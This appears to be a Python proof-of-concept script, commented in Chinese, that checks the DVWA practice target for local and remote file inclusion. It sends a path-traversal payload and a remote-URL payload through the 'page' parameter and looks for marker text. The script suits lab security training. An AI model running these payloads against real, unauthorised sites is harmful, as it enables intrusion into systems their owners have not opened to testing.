检验是否存在本地文件包含和远程文件包含
'''
dvwa靶场文件包含漏洞poc
本地包含和远程包含
输出是否有本地包含和远程包含漏洞
url:http://192.168.32.131/dvwa/vulnerabilities/fi/?page=include.php
../../phpinfo.php ----本地包含
http://www.baidu.com/robots.txt -----远程包含
'''
import requests
def file_include_local(target_url, headers):
payload = "../../phpinfo.php"
res = requests.get(target_url + payload, headers=headers)
if 'PHP Version' in res.text:
print('存在本地文件包含漏洞')
else:
print('不存在本地文件包含漏洞')
def file_include_remote(target_url, headers):
payload = "http://www.baidu.com/robots.txt"
res = requests.get(target_url + payload, headers=headers)
if 'Baiduspider' in res.text:
print('存在远程文件包含漏洞')
else:
print('不存在远程文件包含漏洞')
if __name__ == '__main__':
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'security=low; PHPSESSID=9221f760f951487db236540e2fea458f'
}
url = 'http://192.168.32.131/dvwa/vulnerabilities/fi/?page=include.php'
target_url = url.split('=')[0] + '='
file_include_local(target_url, headers)
file_include_remote(target_url, headers)